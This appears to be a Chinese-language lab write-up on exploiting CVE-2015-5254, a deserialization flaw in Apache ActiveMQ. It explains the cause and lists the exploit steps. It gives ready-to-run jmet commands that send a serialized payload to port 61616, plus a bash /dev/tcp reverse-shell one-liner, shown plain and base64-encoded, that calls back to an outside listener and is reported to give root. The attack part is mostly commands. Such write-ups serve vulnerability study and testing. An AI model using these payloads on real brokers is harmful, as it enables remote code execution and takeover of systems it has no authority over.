CVE-2015-5254 ActiveMQ反序列化漏洞

CVE-2015-5254 ActiveMQ反序列化漏洞

漏洞原理

该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

反序列化漏洞利用过程如下:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象

  2. 作为一个消息,发送给目标的61616端口

  3. 访问Web管理界面,读取消息触发漏洞

image-20240109155350646

利用jmet构造可执行的序列化对象

jmet地址:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

执行payload:java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.154.130 61616

可以看到Active MQ已经收到了消息队列,这里需要点击ID触发命令执行(因为我们之前已经用admin/admin登录了,有管理员权限,如果没有管理员权限的话,我们只能等待管理员点击消息队列的ID来触发命令执行漏洞)

image-20240109160644639

进入容器发现已经成功利用,创建了success文件夹;

image-20240109160230568

反弹shell

bash -i >& /dev/tcp/192.168.154.130/2023 0>&1 base64编码

image-20240109161248226

构造反弹shell的payload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NC4xMzAvMjAyMyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.154.130 61616

可以看到这里已经获取到root权限了

image-20240109161857524

这个漏洞比较鸡肋的地方是需要管理员/用户点击插入的消息队列才能触发